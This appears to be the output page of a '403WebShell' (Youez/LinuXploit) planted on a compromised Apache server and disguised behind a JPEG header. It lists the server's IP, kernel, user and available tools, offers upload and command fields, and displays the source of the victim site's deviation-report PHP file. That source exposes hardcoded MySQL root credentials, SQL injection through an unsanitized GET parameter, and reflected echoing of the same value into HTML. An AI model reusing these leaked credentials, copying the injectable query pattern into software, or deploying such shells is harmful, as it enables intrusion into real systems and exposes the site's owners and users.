????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 3.147.44.46
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/icad.astacus.se/deviation/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/icad.astacus.se/deviation/addinfo.php
<?php

	session_start();
	$link = mysql_connect ("localhost", "root", "root123");
	mysql_select_db ("vpa");

$sql = "SELECT * from DeviationReport where DeviationReportId = ".$_GET['deviationReportId'];
		$result = mysql_query($sql);
	  while ($row = mysql_fetch_assoc($result)){ 
		 $Status=  $row['Status'];
          $Solution = $row['Solution'];
	  }

	$UserID = $_SESSION['ASTACUS_SSO_INFO'][0];

if($_GET['message'] != ""){
	echo("<script> window.parent.close(); close();</script>");
}

?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>Deviation Report</title>
<style type="text/css">
.text {
	font-family: Verdana, Geneva, sans-serif;
}
.text {
	font-size: 12px;
}
.style6 {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px; }
.subject {
	font-family: Verdana, Geneva, sans-serif;
}
.subject {
	font-size: 16px;
}
.subject .subject {
	font-weight: bold;
}
</style>

<script>



function DeviationFunctions(selObj){
	var IDs = selObj.options[selObj.selectedIndex].value;
	
	if(IDs == 13){
		document.getElementById("addedby2").disabled = false;
	
	}else{
		document.getElementById("addedby2").disabled = true;
	
	}
}

function deviation(selObj){
	var IDs = selObj.options[selObj.selectedIndex].value;
	
	if(IDs == 4){
		document.getElementById("type_Extra").disabled = false;
		document.getElementById("type_ExtraSpan").innerHTML = "Client Id";
	}else{
		document.getElementById("type_Extra").disabled = true;
		document.getElementById("type_ExtraSpan").innerHTML = "";
	}
}

</script>



<script language="javascript">

function validateForm()
{

  
	  var x1=document.forms["form1"]["status"].value;


	if(x1 == "NULL" ){
		alert("You need to fill in status fields and description!");
		return false;
	}
	 
		
  
}
</script>
</head>

<body>
<span class="subject"><span class="subject">Deviation Report
</span>
</span>
<br />
<form action="save_info_report.php" method="post" enctype="multipart/form-data" name="form1" id="form1" onsubmit="return validateForm();">
<table width="561" border="0" cellspacing="0" cellpadding="0">
  <tr>
    <td width="174" valign="top" class="text">Status</td>
    <td width="387"><label for="status"></label>
      <span class="style6">
      <select name="status" id="status" >
        <option value="0" <?php if($Status == 0){echo("selected");}?>>Newly created</option>
        <option value="1" <?php if($Status == 1){echo("selected");}?>>In process</option>
        <option value="2" <?php if($Status == 2){echo("selected");}?>>Completed</option>
      </select>
    </span></td>
  </tr>
  <tr>
    <td valign="top" class="text">Solution:</td>
    <td><input type="text" name="solution" id="solution" size="50" value="<?php echo($Solution);?>" />      
      <label for="photo"></label></td>
  </tr>
  <tr>
    <td>&nbsp;</td>
    <td><input type="hidden" name="id" id="id" value="<?php echo($_GET['deviationReportId']);?>" /></td>
  </tr>
  <tr>
    <td>&nbsp;</td>
    <td align="right"><input type="submit" name="button" id="button" value="Update" /></td>
  </tr>
</table>
<p>&nbsp;</p>
</form>
<form action="save_type_report.php" method="post" enctype="multipart/form-data" name="form1" id="form2" >
  <table width="561" border="0" cellspacing="0" cellpadding="0">
    <tr>
      <td width="174" valign="top" class="text">
      <?php
		  
		$sql = "SELECT * from DeviationReport where DeviationReportId = ".$_GET['deviationReportId'];
		$result = mysql_query($sql);
		  
		  
	  while ($row = mysql_fetch_assoc($result)){ 
		 $DeviationTypeId=  $row['DeviationTypeId'];
	  }  
		  ?>Type</td>
      <td width="387"><label for="status2"></label>
        <span class="style6">
          <select name="type" id="type" >
           <?php
			  
			  	$sql = "SELECT * from DeviationType";
		$result = mysql_query($sql);
			  
			  while ($row = mysql_fetch_assoc($result)){ 
				  ?>
				    <option value="<?php echo($row['DeviationTypeId']);?>" <?php if($DeviationTypeId == $row['DeviationTypeId']){echo("selected");}?>><?php echo($row['Name']);?></option>
				  <?php
		 
	  }  
			  ?>
          
          </select>
        <input type="submit" name="button2" id="button2" value="Update" />
        </span></td>
    </tr>
    <tr>
      <td valign="top" class="text">&nbsp;</td>
      <td>&nbsp;</td>
    </tr>
    <tr>
      <td>&nbsp;</td>
      <td><input type="hidden" name="deviationReportId" id="deviationReportId" value="<?php echo($_GET['deviationReportId']);?>" /></td>
    </tr>
    <tr>
      <td>&nbsp;</td>
      <td align="right">&nbsp;</td>
    </tr>
  </table>
  <p>&nbsp;</p>
</form>
<form action="save_delete_report.php" method="post" enctype="multipart/form-data" name="form1" id="form3" >
  <table width="561" border="0" cellspacing="0" cellpadding="0">
    <tr>
      <td width="174" valign="top" class="text">
        DELETE</td>
      <td width="387"><label for="status3"></label>
        <span class="style6">
        <input type="submit" name="button3" id="button3" value="DELETE" />
        </span></td>
    </tr>
    <tr>
      <td valign="top" class="text">&nbsp;</td>
      <td>&nbsp;</td>
    </tr>
    <tr>
      <td>&nbsp;</td>
      <td><input type="hidden" name="deviationReportId" id="deviationReportId" value="<?php echo($_GET['deviationReportId']);?>" /></td>
    </tr>
    <tr>
      <td>&nbsp;</td>
      <td align="right">&nbsp;</td>
    </tr>
  </table>
  <p>&nbsp;</p>
</form>
<p>&nbsp;</p>


</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit